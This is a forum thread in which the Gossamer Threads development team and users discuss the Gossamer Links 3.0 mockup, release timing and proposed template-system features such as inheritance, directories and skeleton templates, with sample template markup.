Gossamer Forum
Home : Gossamer Threads Inc. : Discussion :

Gossamer Links 3.0 mockup

Quote Reply
Gossamer Links 3.0 mockup
Hello everyone,

We're pleased to present the new look of Gossamer Links. Work is continuing on the features and a finalised list will be posted in this same forum as soon as it's available.



We wish to thank everyone for their input so far, the design takes into account some of your suggestions to date and the feature list will also.

Gossamer Threads Development Team

Last edited by:

GT Dev Team: Dec 7, 2004, 3:43 PM
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 mockup In reply to
This looks really nice. Great job!

When do you expect to be available?

Will there be some other templates beside this one?

Regards.

UnReal Network
Quote Reply
Re: [deadroot] Gossamer Links 3.0 mockup In reply to
but none of the buttons work!Mad


hehehehehheSmile
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 mockup In reply to
Still no reply :(

What about PHP version? Will this version be updated and more function 'translated' to PHP?

Regards.

UnReal Network
Quote Reply
Re: [deadroot] Gossamer Links 3.0 mockup In reply to
In Reply To:
When do you expect to be available?
We're working on it right now, but I can't give you an accurate ETA yet.

In Reply To:
Will there be some other templates beside this one?
Currently, we only intend to include a single template. We may later release template packs which would mainly consist of a different style sheet and depending on the design updated templates.

Gossamer Threads Development Team
Quote Reply
Re: [deadroot] Gossamer Links 3.0 mockup In reply to
Unfortunately, we're dropping support for the PHP front end in 3.x - there wasn't enough interest for development on it to continue. Remember that you still can build your static pages with a .php extension so that your webserver still processes the statically built pages.

Gossamer Threads Development Team
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 mockup In reply to
In Reply To:
When do you expect to be available
We're working on it right now, but I can't give you an accurate ETA yet.?

Not even in months like 'in two months', 'in four months' etc.?
Just wondering because I'm working on new site so would like to know is it better to wait a little. There is discussion here that there might be problem in converting old templates to new one so maybe it would be better to wait for new one.

Regards.

UnReal Network
Quote Reply
Re: [deadroot] Gossamer Links 3.0 mockup In reply to
We are aiming for a month or two.

Gossamer Threads Development Team
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes In reply to
How about the template system changes?


Quote:
!!! Support LSQL a section based template system, with reusable, changeable sections, inheritable into subcategories. This means to inherit template elements, sections, local & global variables into subcategories - This would be excellent GT template feature improvement. Currently only one full template can be inherited and overrided in the subcategories (Category_Template). But if I want to change the design, I need to change all templates, depending which part of template is changed. I have to include even <head> or <html> tags redundantly, when these should be used once when design is done, then should be automatically reused where needed. Therefore the main category page should provide a skeleton (section) of the design, then subskeletons (subsections) recursively, which should be inherited to subcategories.

Could you show up exactly what kind of changes are done?
Does the changes include improvement of template system, similarly how I described above?

It would be really important to improve the template system, to support skeleton-like, "sites-themes-elements" style, which can inherit content from parent content.
All this, to ignore redundant HTML codes.


Best regards,
Webmaster33


Paid Support
from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...

Last edited by:

webmaster33: Feb 4, 2005, 6:16 AM
Quote Reply
Re: [webmaster33] Gossamer Links 3.0 - Template system changes In reply to
When redesigning the Gossamer Links templates, we spent a while thinking of a solution to this problem. However, without making the templates extremely awkward and hard to work with, it isn't possible to do (if you've got any ideas, send them over, there's still a possibility we might change it before release). Our original idea was to have a site template, which would have been something like:
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title><%site_title%>: <%page_title%></title>
<%include include_common_head.html%>
</head>
<body id="<%page_id%>">
<%include include_header.html%>
...
<%if sidebar_template%><%include $sidebar_template%><%endif%>
...
<%if content_template%><%include $content_template%><%endif%>
...
<%include include_footer.html%>
</body>
</html>
And then the templates themselves would be:
Code:
<%set page_title = "my page"%>
<%set page_id = "my_page"%>
<%set sidebar_template = "sidebar.html"%>
<%set content_template = "content.html"%>
<%include site_template.html%>
However, there were several problems with doing this way:

  1. It would at least triple the template count (from 57 to 150+) - it's already pretty confusing as is. With other programs like Gossamer Mail, we're talking about going from 88 templates to over 250!

  2. It makes understanding the templates a little more complicated - opening the page template and only seeing some set's and an include is pretty strange.

  3. It's not very flexible. If a page needs to load some javascript, without putting a whole bunch of extra <%if foo%><%include $foo%><%endif%>'s in the site template, you won't be able to load the javascript in the head.

So, this approach made making site template changes easy, but made the general changes worse.

Another idea was to keep everything in a single template and put similar chunks of code into several site template chunks like:
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title><%site_title%>: <%page_title%></title>
<%include include_common_head.html%>
</head>
<body id="<%page_id%>">
<%include include_header.html%>
...
Code:
... middle html ...
Code:
...
<%include include_footer.html%>
</body>
</html>
And the page template would be:
Code:
<%include site_template1.html%>
sidebar content here
<%include site_template2.html%>
content here
<%include site_template3.html%>
However, this method also has some downsides:

  1. The site_templates will appear to be broken html to any html editors

  2. It is also not flexible

  3. The page templates just don't look that nice :)

In the end, we decided to go leave the templates as is. This leads to simple, easier to understand templates. Unfortunately, this also means making site changes are more difficult. However, we think with the use of XHTML, CSS, and carefully placed includes, it should make site changes less work. For example, any style changes can be done through CSS. We've also designed the templates so that things like banner ads can be easily added - just add them to the global include templates.
Here's an example of the home template:
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title><%site_title%></title>
<%include include_common_head.html%>
</head>
<body id="home">
<%include include_accessibility.html%>
<div id="wrapper">
<%include include_header.html%>
<%include include_contentheader.html%>
<div id="contentarea" class="clear">
<div id="sidebar">

<p>Welcome to the Gossamer Links demo. Feel free to add your own link, modify an existing link or just play around!</p>

<%include include_sidebar.html%>
</div>

<div id="contentwrapper" class="shadowleft">
<div class="shadowtop"><div class="shadowtopleft"></div><div class="shadowtopright"></div></div>
<div id="content" class="shadowright">

<%set split = Links::Utils::column_split($category_loop.length, $home_category_cols)%>
<%loop category_loop%>
<%set splitmod = $row_num % $split%>
<%if row_num == 1 or splitmod == 1%><dl><%endif%>
<%include subcategory.html%>
<%if row_num == $category_loop.length or splitmod == 0%></dl><%endif%>
<%endloop%>
<span class="clear"></span>
<h4>There are <strong><%grand_total%></strong> links for you to choose from!</h4>

</div>
<div class="shadowbottom"><div class="shadowbottomleft"></div><div class="shadowbottomright"></div></div>
</div>
</div>
<%include include_contentfooter.html%>
<%include include_footer.html%>
</div>
</body>
</html>
After we have completed our next releases, we also intend to concentrate on working on supporting documentation such as explaining the template layouts, tips on debugging templates, other howto's, etc. We hope that these changes will make customizing the templates easier.

Gossamer Threads Development Team
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes In reply to
The first problem in the GT template system, that GT template is using FLAT template set.
Using my suggestions you can keep compatibility with old template sets, while adding features like inheritance, directories, template variable files, template set config variables.
Inheritance and directory features may cause a little speed decrease, but instead you get an easier modifiable template system, where you can do 1 change, that will affect all your sites, cobranded sites, or just a content part. Inheritance will make our life easier...

There will be no need to use inheritance or directories (you can turn off these features), but those who want to make their life easier, will have the ability to use these features.

  1. Directories: You should add the vertical thinking into GT template system.
    • I mean, there should be directories available in each template set, which inherits content from default templates.
    • Directories will help us to group the site content easier. E.g. with directories contents, menus, javascripts, css, etc.
    • There will be only 3 special directories: _config, _compiled and _local directories.
    • The _config is the only new type, and will contain config file(s) which will control the template features, and the inheritance.
    • Default (general) templates are placed into the "default" template set.

    Example:
    template set main folder is: /cgi-bin/gt/templates/
    template sets are:
    /cgi-bin/gt/templates/admin/
    /cgi-bin/gt/templates/default/
    /cgi-bin/gt/templates/mysite/
    /cgi-bin/gt/templates/mysite_light/
    /cgi-bin/gt/templates/mysite_dark/
    /cgi-bin/gt/templates/mysite_nojava/
    /cgi-bin/gt/templates/mysite_framed/
    /cgi-bin/gt/templates/mypartnersite/
    /cgi-bin/gt/templates/othersite/



  2. Inheritance:
    • There will be a special folder, named "default", which gaves us the skeleton of our site lookouts.
    • Content of this "default" set is inherited in each template set, where a file is used (except, if it is turned off in in global config, turned off in default template set, or turned off in config of target tempate set).
    • There will be possible to turn on/off the template inheritance using template config variables (explained later).

      Example:
      <%include /mypartnersite/menu/content.html%>
      • A file is included from "mypartnersite" set, "menu" dir.
      • If /cgi-bin/gt/templates/mypartnersite/menu/content.html is missing => /cgi-bin/gt/templates/mypartnersite/content.html will be used instead (a debug level 2 warning should be noted).
      • If /cgi-bin/gt/templates/mypartnersite/content.html is missing, then /cgi-bin/gt/templates/default/menu/content.html will be used instead (a debug level 2 warning should be noted).
      • If /cgi-bin/gt/templates/default/menu/content.html is missing, then /cgi-bin/gt/templates/default/content.html will be used instead (a debug level 2 warning should be noted).
      • If /cgi-bin/gt/templates/default/content.html is also missing, then fatal debug error will happen: "content.html is missing".



  3. Template set config:
    • Each template set will have a config.
    • Config file will be placed into "_config" dir.
    • Config file will be named "config.txt".
    • If config file is missing, config values are inherited from "default" template set, "_config" dir.
    • If config file is missing from "default" template set, "_config" dir, template related config values are inherited from global config.

      Example config file: /cgi-bin/gt/templates/mypartnersite/_config/config.txt
      Code:
      $CFG_template_set = {
      { 'mypartnersite' =>
      # template_set_disabled: used for quickly disabling a template set.
      # Default template set will be displayed, if disabled.

      'template_set_disabled' => 1,
      # inherit_from_template_set: name of template we are inherit from.
      # if missing, "default" template set is used
      'inherit_from_template_set' => 'mysite',
      # template_set_inheritance:
      # allows to inherit templates and directories from default template set

      'template_set_inheritance' => 1,
      # template_set_directories: allows to use directories in the template set
      'template_set_directories' => 1,
      # template_set_variable_files: allows to use variable files in the template set
      'template_set_variable_files' => 1
      }
      };

    • The globals.txt and language.txt should be placed into "_config" directory.
      /cgi-bin/gt/templates/mypartnersite/_config/globals.txt
      /cgi-bin/gt/templates/mypartnersite/_config/language.txt
    • if globals.txt or language.txt is missing from "/mypartnersite/_config/" directory, will look in "/mypartnersite/" template set (a debug level 2 warning should be noted).
    • if globals.txt or language.txt is missing from "/default/_config/" directory, will look in "/default/_config/" template set (a debug level 2 warning should be noted).
    • if globals.txt or language.txt is missing from "/default/" directory, then fatal debug error will happen: "globals.txt is missing".
    • Since the globals.txt, language.txt, config.txt are perl evaluated (globals.txt especially), therefore this can be a potential security hole, IF we allow our cooperative partners to access these files. Therefore content of _config directories should be NOT editable by the partners. Need more thinking on risks of this.
    • Also we should have some globals, what do we allow to be inherited for use in partner's site.
      For security reasons, we should have full control over which globals we allow to inherit, and which not. In global config we should have a variable, where we are listing, which template sets are allowed to inherit, which global variables.
      Editing of any globals (inhernited or not inherited) should be NOT allowed for Editors.
      Admin should be able to give TRUSTED Editors to give a right to edit inherited AND/OR not inherited globals.

      Example:
      Code:
      'allowed_globals_variable_inherit' => {
      'default' => 1, # we allow full globals inheritance
      'mysite' => 1, # we allow full globals inheritance
      # array means the list of globals allowed to inherit
      'mypartnersite' => [ 'cobrand_text', 'date', 'time', 'list_categories' ],
      'other_cobrandsite' => [ 'cobrand_text', 'date', 'time' ],
      'simple_partner' => 0,
      }



  4. Variable files (unfinished): Also variable files needed to be implemented.

    • These variable files will have .var extension, and placed into the template set or inside a directory, where we want to change an inherited content.
    • inherited content change can be done through these .var files.
    • home.var will affect home.* templates, which are inherited from selected template set

    • New variables: Some new variables should be used like: $source_path, $source_template_set, etc...
      $source_template_set: the template set, from where we inherited this template: = "mypartner" or "default" or ""
      $source_filename: the filename from where we inherited this template: = content.html
      $source_dir: the dirname, from where we inherited this template. "dirname" or ""
      $source_path: the path from where we inherited this template: = /$source_template_set/$source_dir
      $source_filepath: the filepath from where we inherited this template: = /$source_template_set/$source_dir/$source_filename

      $current_template_set: the template set we are currently in: = "mypartner"
      $current_filename: the filename of this template: = "content.html"
      $current_dir: the dirname, where we currently are: = "sidebar"
      $current_path: the path we currently are: = /$source_template_set/$current_dir
      $current_filepath: the path we currently are: = /$source_template_set/$current_dir/$current_filename


    • Security warning: include should DENY usage of path, which is not beginning with $inherited_path path (espedially those which are pointing out outside of the template root)! Also should DENY $inherited_path/_compiled, $inherited_path/_config paths.


      ...


The "Variable files" part is unfinished.
I have to go now, so I will work on it later, and will post an update with changes.
Until the ideas are finished your comments are welcome...

Best regards,
Webmaster33


Paid Support
from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...
Quote Reply
Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes, part 2 In reply to
Finishing the Template system changes, "Variable files" part.

4. Variable files: Also variable files needed to be implemented.
  • These variable files will have .var extension, and placed into the template set or inside a directory, where we want to change an inherited content.
  • inherited content change can be done through these .var files.
  • home.var will affect home.* templates, which are inherited from selected template set

  • New variables: Some new variables should be used like: $source_path, $source_template_set, etc...
    $source_template_set: the template set, from where we inherited this template: = "mypartner" or "default" or ""
    $source_filename: the filename from where we inherited this template: = "content.html"
    $source_dir: the dirname, from where we inherited this template. "dirname" or ""
    $source_path: the path from where we inherited this template: = /$source_template_set/$source_dir
    $source_filepath: the filepath from where we inherited this template: = /$source_template_set/$source_dir/$source_filename

    $current_template_set: the template set we are currently in: = "mypartner"
    $current_filename: the filename of this template: = "content.html"
    $current_dir: the dirname, where we currently are: = "sidebar"
    $current_path: the path we currently are: = /$source_template_set/$current_dir
    $current_filepath: the path we currently are: = /$source_template_set/$current_dir/$current_filename

  • Security warning: include should DENY usage of path, which is not beginning with $inherited_path path (espedially those which are pointing out outside of the template root, and those matching =~ /\.\.\//)! Also should DENY $inherited_path/_compiled, $inherited_path/_config paths.


Content of home.html in "default" template set:
Code:
<html>
<head>
<title><%site_title%>: <%page_title%></title>
<%include $current_path/include_common_head.html%>
</head>
<body id="<%page_id%>">
<%include $current_path/include_header.html%>
...
<%include $current_path/$sidebar_template%>
...
<%include $current_path/$content_template%>
...
<%include $current_path/$menu_right_template%>
...
<%include $current_path/include_footer.html%>
</body>
</html>

Of course, we could copy home.html into the "mypartner" template set, but since we want the same skeleton into "mypartner" template set like the one from "default", we can just ignore this file, leaving the template system to inherit it from "default", and use the home.var file in "mypartner", to set the variable contents.
If the "sidebar_template" would be the same, we could just ignore it (since we don't want to duplicate it), so we can leave the template system to inherit it from the "default" set.
I think we always wanted something like this...


So in home.var in "mypartner" template set:
Code:
<%set page_title = "my page"%>
<%set page_id = "my_page"%>
<%-- set sidebar_template = "sidebar.html" --%> => commented out, to be inherited
<%set content_template = "content.html"%>
<%set menu_right_template = "
<a href="/menu_right_1.html">Menu right 1</a>
<a href="/menu_right_2.html">Menu right 2</a>
<a href="/menu_right_3.html">Menu right 3</a>
"%>

Btw: is multiline <%set ...%> template command working as used in example above?
Or it is working only in single line?

Personally I would better welcome a variable file, which can be divided into several clean content parts.
I mean home.var in "mypartner" template set, might be better to look like this:
Code:
[page_title]
my page

[page_id]
my_page

[sidebar_template]
sidebar.html

[content_template]
content.html

[menu_right_template]
<a href="/menu_right_1.html">Menu right 1</a>
<a href="/menu_right_2.html">Menu right 2</a>
<a href="/menu_right_3.html">Menu right 3</a>
(maybe closing tags, like [/menu_template] may be also used, if needed, but I think this is unnecessary)
Well, I see the parsing problems of this kind of template, so I don't force it anyway.



Now to answer your worries:
Quote:
  • It would at least triple the template count (from 57 to 150+) - it's already pretty confusing as is. With other programs like Gossamer Mail, we're talking about going from 88 templates to over 250!
  • The directory grouping feature will solve this problem. The result template set is, grouped by directories is easily understandable. Result template set is not confusing, IMO, no matter how many templates is used (if grouped correctly into dirs).
    I believe, even thousands of files could be clearly grouped this way, without being confusing for the template editor.


    Quote:
  • It makes understanding the templates a little more complicated - opening the page template and only seeing some set's and an include is pretty strange.
  • Understanding the templates is not difficulter. Especially when looked at cloned templates.
    I believe, if we split the skeleton ("the bones"), from "the meal", the result is a more solid template system, where we have the often changed elements separated from the standard elements.
    This is similar to how we are separating the source code from the content.


    Quote:
  • It's not very flexible. If a page needs to load some javascript, without putting a whole bunch of extra <%if foo%><%include $foo%><%endif%>'s in the site template, you won't be able to load the javascript in the head.
  • We can load several javascripts into the default using <%include $current_path/js/javascripts.js%>.
    We can implement a template set option, not to display include errors on the page, but to redirect them as debug messages, instead.

    If that's not enough, an optional "if item" for include command may be implemented.
    Examples:
    <%include $foo if $variable = "something"%> - (full version)
    <%include $foo if $variable%> - (existance checking of another variable)
    <%include $foo if%> - (existance checking of currently used $foo variable)

    The short one would look like this:
    <%include $foo if>
    instead of the currently used long one:
    <%if foo%><%include $foo%><%endif%>
    The <%include $foo if> would simplify many if conditions, while keeping the template clear & understandable.


    Quote:
  • The site_templates will appear to be broken html to any html editors
  • Since my the skeleton itself is not broken into several part in my suggested solution, the html editors will show up correctly, highlight correctly. I use UltraEdit as HTML editor, so this is also important for me.


    Quote:
  • It is also not flexible
  • I think this suggested solution is flexible as much as possible.
    But I'm open to discuss the problems, if there are any.


    Quote:
  • The page templates just don't look that nice :)
  • Since the often changed (variable content) parts, are separated from the rarely changed skeleton parts, it looks better, modification should be easier. And while the file count is increased, the clean directory structures can help work of template editors.



    I believe, if this kind of GT template system improvements would be implemented into GT products version 3.0, they will make GT products (especially GT Links SQL, GForum, GT DBMan SQL) unbeatable.
    The ease & speed of design upgrades will make GT 3.0 products more preferred.
    Site owners using GT 3.0 products, will be able to improve their site easier, faster, cheaper, thus more often.
    And we all know from internet marketing: faster (or cheaper) site developments is one of the tools, which can increase market share of our site, service.



    Waiting your comments...

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...
    Quote Reply
    Re: [webmaster33] Gossamer Links 3.0 - Template system changes In reply to
    Quote:
    Directories: You should add the vertical thinking into GT template system.
    Creating directories inside the template directories can help group the templates, but only when you have enough templates to require splitting them up like that. We think that splitting up templates as you have outlined below may make things easier for the more advanced users, but makes things a lot harder for the average user. The thought of having to edit 300 smaller files seems like more work than editing 100 larger files. Note that for the base template set, we have to keep things simple and easy to understand, so we can't do anything too complicated for the templates that get released with our products.

    Quote:
    Inheritance
    GT::Template has supported inheritance for years. The next version will also support multiple inheritance (one template set that inherits from multiple template sets).

    Quote:
    Template set config
    Quote:
    Since the globals.txt, language.txt, config.txt are perl evaluated (globals.txt especially), therefore this can be a potential security hole, IF we allow our cooperative partners to access these files. Therefore content of _config directories should be NOT editable by the partners. Need more thinking on risks of this.
    This does not have anything to do with GT::Template and does not belong in GT::Template. This should be controlled by whatever's allowing these 'partners' to edit the files, not GT::Template. This 'feature' sounds like something customised to your installation.

    Quote:
    Quote:
    It would at least triple the template count (from 57 to 150+) - it's already pretty confusing as is. With other programs like Gossamer Mail, we're talking about going from 88 templates to over 250!
    The directory grouping feature will solve this problem. The result template set is, grouped by directories is easily understandable. Result template set is not confusing, IMO, no matter how many templates is used (if grouped correctly into dirs).
    I believe, even thousands of files could be clearly grouped this way, without being confusing for the template editor.
    We don't think so. Creating more files overwhelms people, especially when we're talking about 150+ templates. Creating sub directories may help a bit, but in our opinion wouldn't do much for the too-many-templates issue. Users already have a bit of a problem understanding the inheritance and local/compiled concepts, so making things even more complex is not an option.

    The whole problem is what things can we do to make working with the templates easier for everyone. We believe this means keeping things simple. There are some downsides to keeping things simple, such as duplicate html, but it allows anyone to just jump in and easily edit the templates. For the more advanced users, GT::Template does support things like inheritance and dynamic includes, so you can split things up if you want.

    GT::Template doesn't do all the things you outlined, but adding them would mean adding a lot more complexity to GT::Template and due to the complexity of those features, we don't see many people using them.

    Gossamer Threads Development Team
    Quote Reply
    Re: [GT Dev Team] Gossamer Links 3.0 - Template system changes In reply to
    Quote:
    Quote:
    Inheritance
    GT::Template has supported inheritance for years. The next version will also support multiple inheritance (one template set that inherits from multiple template sets).
    Oh, great! I might be missed that feature. Angelic

    I see now the GT::Template::Inheritance module, which does the inheritance. And the template config is stored in .tplinfo file. Not really a descriptive name (template.cfg would be more logical), but I don't really bother with the name, until the functionality is good. Cool

    The "inheritance" option in .tplinfo file stores the path, from where the inheritance is done. Good!

    Well, then only the following options are missing from template config file:
    'template_set_disabled' => 1,
    'template_set_inheritance' => 1, # to allow or disallow template inheritance
    'template_set_directories' => 1,
    'template_set_variable_files' => 1


    But grouping globals.txt, language.txt, .tplinfo files into a _config directory in template dir, would be still a good idea... These config files should not pollute the template directory root directly.



    Quote:
    putting a whole bunch of extra <%if foo%><%include $foo%><%endif%>'s in the site template
    ...
    an optional "if item" for include command may be implemented.
    Examples:
    <%include $foo if $variable = "something"%> - (full version)
    <%include $foo if $variable%> - (existance checking of another variable)
    <%include $foo if%> - (existance checking of currently used $foo variable)
    You didn't answer, if you like this solution or not.
    I think it is creative solution, and could simplify the simple conditions a lot.
    The solution is taken directly from Perl, which we know has creative solutions.
    Also backward compatibility is kept, and there is no any force to use the condition new style in templates.
    (but my vision is, that <%include $foo if%> would be very quickly popular...)



    Quote:
    Quote:
    Since the globals.txt, language.txt, config.txt are perl evaluated (globals.txt especially), therefore this can be a potential security hole, IF we allow our cooperative partners to access these files. Therefore content of _config directories should be NOT editable by the partners. Need more thinking on risks of this.
    This does not have anything to do with GT::Template and does not belong in GT::Template. This should be controlled by whatever's allowing these 'partners' to edit the files, not GT::Template. This 'feature' sounds like something customised to your installation.
    I was thinking forward in a feature for Links SQL 3.0 (and maybe also for GForum, DBMan SQL), to add a new permission to Editors, to be able to edit template sets which are assigned to them. That's why I noted to myself, that Editors (who have template editing rights), should not have right to edit globals, since this is a potential security hole.
    You are right, this feature is not related to GT::Template module, but better related to templates and cobranding.



    Quote:
    Quote:
    Directories: You should add the vertical thinking into GT template system.
    Creating directories inside the template directories can help group the templates, but only when you have enough templates to require splitting them up like that. We think that splitting up templates as you have outlined below may make things easier for the more advanced users, but makes things a lot harder for the average user. The thought of having to edit 300 smaller files seems like more work than editing 100 larger files. Note that for the base template set, we have to keep things simple and easy to understand, so we can't do anything too complicated for the templates that get released with our products.
    The reason behind Directories feature is more deeper...
    Later I would like to use GT::Template to create an LSQL plugin named CobrandSiteBuilder, which can handle rendering static version of my website. Yes, something similar like Yogi's PageBuilder Plugin, except, that I want to implement cobranding feature, partner template editing (if not added into LSQL 3.x or 4.x), (inheritable) site skeleton feature, template inheriting feature, variable templates (which contains often changed parts of the site).
    Directory feature would be helpful to avoid having all X hundred files in my template directory, but to imitate my website directory structure into my template root directory. Without directory hierarchy, finding the template files would be very difficult (as you say, it is also difficult already for 150+ template files in the same directory.)
    In overall, I would like to create a CMS system, for my personal needs, using LSQL as base system.
    I might release it to the public, but that's the future.



    Quote:
    We think that splitting up templates as you have outlined below may make things easier for the more advanced users
    You can choose, to make the directory features possible just for advanced users. I would be glad.

    But I'm arguing that the suggested features would help life of advanced users only. Unimpressed
    I believe, most users on these forums knows a bit more than just template editing...
    And even every beginner user on Windows can browse directories, that's not an advanced thing at all...

    Furthermore it is not advanced thing to know, that:
    1) I have a site skeleton (which gives my core site design structure),
    2) I have an often modified variable template part (similar to those, what you see now in <%include ...%> parts)

    We just change html code in 1 place in the skeleton (in just 1 minute), and everywhere in site design it is also changed!
    Unlike in current solution (LSQL 2.x), where if we change the main table structure for 1 template, we have to change it for all other 50-100-150+ template files. This currently means 1 day to 1 week work (depending on file amount) to update all template files!

    So Skeleton feature makes our life easier!


    Everybody who did ever edited a template, and saw an <%include ...%> command knows,
    why the include command is ever needed for us: to simplify our life and to create a page from parts.
    That's why the templates are!
    And using feature like I suggested, we can make it more simpler.


    And about the helpness of the directory feature:
    And even if we have more files because the skeleton & variable template solution, it makes less work for us.
    Especially, if they are grouped into directories, so it's easy to find them.
    Even beginner users will find templates grouped into multiple directories.

    Example (Before directory usage in templates):
    There were 72 templates in older version of GForum:
    about.html, add_word.html, category_list.html, disabled.html, error.html, forum_ban.html, forum_ban_list.html, forum_ban_write.html, forum_view.html, include_css.html, include_footer.html, include_header.html, include_logo.html, include_message_common_write.html, include_message_display.html, include_message_html_common_write.html, include_paging.html, include_post_common_write.html, include_post_display.html, include_post_html_common_write.html, include_search_form.html, include_smilies_write.html, include_spellcheck_display.html, include_thread_display.html, include_title_cat_forum.html, login.html, lost_password_enter_username.html, lost_password_sent.html, markup_help.html, message.html, message_list.html, message_reply_write.html, message_send.html, message_sent_view.html, message_view.html, permission_denied.html, post_already_posted.html, post_delete.html, post_delete_confirm.html, post_detach_select.html, post_detached.html, post_edit.html, post_edit_post.html, post_editlog.html, post_move_select.html, post_moved.html, post_post.html, post_reply_post.html, post_reply_write.html, post_view_flat.html, post_view_printable.html, post_view_threaded.html, post_write.html, redirect.html, resend_validation_enter_username.html, search.html, search_results.html, spellcheck_body.html, spellcheck_head.html, user_list.html, user_profile.html, user_profile_basic.html, user_profile_display.html, user_profile_email.html, user_profile_threads.html, user_signup.html, user_signup_success.html, user_validate_success.html, user_view.html, validation_resent.html, watch_thread.html, whos_online.html
    Those are 72 filenames.

    Example (After directory usage in templates):
    Now I grouped them into 8 directories:
    /forum/
    /include/
    /lost_password/
    /message/
    /post/
    /search/
    /spellcheck/
    /user/

    The remaining ungrouped files are:
    about.html, add_word.html, category_list.html, disabled.html, error.html, login.html, markup_help.html, permission_denied.html, redirect.html, resend_validation_enter_username.html, validation_resent.html, watch_thread.html, whos_online.html
    These are now only 13 filenames + 8 directories, instead 72 to see.
    Isn't it more easier to see, which file where you find? Is this difficult for beginners??? Come on...

    And I just by grouped them by starting word. GT staff can do other groupings if prefers.



    Quote:
    The thought of having to edit 300 smaller files seems like more work than editing 100 larger files.
    ...
    Creating more files overwhelms people, especially when we're talking about 150+ templates.
    This is not true, IMHO.
    Skeleton files are to make your work easier. Skeleton files are not for daily change.
    Only design changes are done in skeleton files.
    All other template changes should be done in variable template files.



    Quote:
    Users already have a bit of a problem understanding the inheritance and local/compiled concepts, so making things even more complex is not an option.
    This is pretty interesting statement from the GT staff...
    GT staff NEVER promoted existence of inheritance!
    There were some rare usages, like in Yogi's PageBuilder plugin, but most people didn't know (nor even developers) that this feature exists.

    We have 1 small reference in GT Module Documentation, on GT::Template::Inheritance page:
    http://www.gossamer-threads.com/...ate/Inheritance.html
    The documentation is poor, and doesn't really help a beginner user understanding, what it it doing.

    The page above also says:
    "See the GT::Template manpage for a description of how inheritance and locals works."
    That's simply not true!

    The Template Help page does NOT have the word "inheritance":
    http://www.gossamer-threads.com/...=help_templates.html

    The Template Syntax page does NOT have the word "inheritance":
    http://www.gossamer-threads.com/...emplates_syntax.html

    The Template Tags page does NOT have the word "inheritance":
    http://www.gossamer-threads.com/..._templates_tags.html


    Sorry for being so straight, but when I see that inheritance is not documented almost at all, and you say "Users already have a bit of a problem understanding the inheritance", that's pretty strange for me.

    I think users can easily understand that they will have to work less.
    If you explain them, what is inheritance, what are skeletons, why to use directories, in overall why it is useful, then they will understand, furthermore, they will want to use it.
    BTW: let me know if you have any backward compatibility worries.


    Quote:
    For the more advanced users, GT::Template does support things like inheritance and dynamic includes, so you can split things up if you want.
    ...
    GT::Template doesn't do all the things you outlined, but adding them would mean adding a lot more complexity to GT::Template and due to the complexity of those features, we don't see many people using them.

    I'm glad, really glad, that I found out, that inheritance is already supported in GT::Template module.
    But that's still doesn't help in my main problem of having Sites-Theme-Elements Skeleton template system.
    Well, Theme-Elements are already supported by GT::Template, but still not really skeleton-like. 1 level is missing.

    But the Site level is missing from the Skeleton, and also the Variable files!
    I hate, when I do 1 design change on the website, and I have to edit all the 20-30 templates I use.
    This is nor effective, nor productive, especially if I know, this could be done in 1 step, if the template system would support it.

    I'm disappointed, when I see several template systems, application frameworks, CMS systems which does support this kind of easy site design building...


    I would feel better, if I would know that I have all the tools implemented into GT modules, which is needed to develop such features for myself. But since I'm mostly busy with my studies, I wouldn't want extra duties on me.

    Waiting your comments. Thanks!

    Best regards,
    Webmaster33


    Paid Support
    from Webmaster33. Expert in Perl programming & Gossamer Threads applications. (click here for prices)
    Webmaster33's products (upd.2004.09.26) | Private message | Contact me | Was my post helpful? Donate my help...

    Last edited by:

    webmaster33: Feb 7, 2005, 10:10 PM
    Quote Reply
    Re: [webmaster33] Gossamer Links 3.0 - Template system changes In reply to
    I hope you don't mind mind adding my 2 cents...

    Quote:
    But grouping globals.txt, language.txt, .tplinfo files into a _config directory in template dir, would be still a good idea... These config files should not pollute the template directory root directly.

    In the documentation it states that templates should be edited via the admin panel, particularly globals.txt and language.txt due to their formatting, therefore it should not be an issue as to where the two .txt files are located as you should never see them :)

    Quote:
    I think it is creative solution, and could simplify the simple conditions a lot.
    The solution is taken directly from Perl, which we know has creative solutions.

    In my personal it obscures the code. Wrapping an include with an if/endif is much clearer to the average user who perhaps isn't so familiar with perl, than "include something if something = something"

    Quote:
    I was thinking forward in a feature for Links SQL 3.0 (and maybe also for GForum, DBMan SQL), to add a new permission to Editors, to be able to edit template sets which are assigned to them. That's why I noted to myself, that Editors (who have template editing rights), should not have right to edit globals, since this is a potential security hole.

    If you don't trust your editors with globals, why would you trust them with templates? ....you can put function calls in templates which can do as much harm as a global.

    Quote:
    Later I would like to use GT::Template to create an LSQL plugin named CobrandSiteBuilder, which can handle rendering static version of my website. Yes, something similar like Yogi's PageBuilder Plugin, except, that I want to implement cobranding feature, partner template editing (if not added into LSQL 3.x or 4.x), (inheritable) site skeleton feature, template inheriting feature, variable templates (which contains often changed parts of the site).
    Directory feature would be helpful to avoid having all X hundred files in my template directory, but to imitate my website directory structure into my template root directory. Without directory hierarchy, finding the template files would be very difficult (as you say, it is also difficult already for 150+ template files in the same directory.)
    In overall, I would like to create a CMS system, for my personal needs, using LSQL as base system.
    I might release it to the public, but that's the future.

    Quote:
